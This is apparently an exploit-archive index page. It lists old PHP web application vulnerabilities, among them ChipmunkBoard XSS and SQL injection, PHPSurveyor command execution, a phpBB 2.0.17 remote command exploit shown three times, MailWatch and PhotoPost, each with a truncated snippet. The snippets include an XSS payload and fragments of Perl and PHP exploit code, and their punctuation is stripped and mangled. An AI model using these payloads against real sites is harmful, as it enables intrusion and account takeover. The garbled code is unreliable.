ChipmunkBoard Multiple Attack vectors

ChipmunkBoard Multiple Attack vectors Discovered by: Nomenumbra Date: 6/4/2006 impact:high privilege escalation,possible defacement It is possible to insert the following javascript in the BBcode or supply it as your avatar url: javascript:alert27xss27; Also ChipmunkBoard is prone to SQL-injectio...

PHPSurveyor 0.995 - 'surveyid' Remote Command Execution

!/usr/bin/php -q -d shortopentag=on works regardless of magicquotes gpc settings \r\n"; echo " with at least one row in 'surveys' table \r\n"; echo " and if we succeed to include logs \r\n"; echo "\r\n"; if $argc4 echo "Usage: php ".$argv0." host path cmd OPTIONS\r\n"; echo "host: target server...

phpBB <= 2.0.17 (signature_bbcode_uid) Remote Command Exploit

Exploit for unknown platform in category web applications ============================================================= phpBB new or die; $cookiejar = HTTP::Cookies-new; for$i=0;$icookiejar $cookiejar ; $res = $xpl-post $path.'profile.php?GLOBALSsignaturebbcodeuid=.%2B/e%00', Content = 'username'...

phpBB 2.0.17 - signature_bbcode_uid Remot Command

phpBB 2.0.17 - signaturebbcodeuid Remot Command !/usr/bin/perl phpBB new or die; $cookiejar = HTTP::Cookies-new; for$i=0;$icookiejar $cookiejar ; $res = $xpl-post $path.'profile.php?GLOBALSsignaturebbcodeuid=.%2B/e%00', Content = 'username' = $name, 'email' = $rand.'[email protected]',...

phpBB 2.0.17 - 'signature_bbcode_uid' Remot Command

!/usr/bin/perl phpBB new or die; $cookiejar = HTTP::Cookies-new; for$i=0;$icookiejar $cookiejar ; $res = $xpl-post $path.'profile.php?GLOBALSsignaturebbcodeuid=.%2B/e%00', Content = 'username' = $name, 'email' = $rand.'[email protected]', 'newpassword' = $password, 'passwordconfirm' =...

MailWatch authenticate() Function SQL Injection

The remote host appears to be running MailWatch, a web-based frontend to MailScanner written in PHP. The version of MailWatch installed on the remote host fails to sanitize the username and password before using them in database queries in the 'authenticate' function of 'functions.php'. This issu...

Land Down Under <= 800 Multiple Vulnerabilities

The remote version of Land Down Under is prone to various SQL injection and cross-site scripting attacks provided PHP's 'magicquotes' setting is disabled due to its failure to sanitize the request URI before using it in 'system/functions.php' in the function 'ldulog'. A malicious user may be able...

photopostRetrieve.txt

Update: 2:41 PM 5/11/2005 Subject: " PhotoPost Arbitrary Data Exploit " Description: PhotoPost is a popular commercial image publishing software. Everyone loves showing off their photos! Add PhotoPost to your site, or let us install it for you,and your visitors will be able to upload their photos...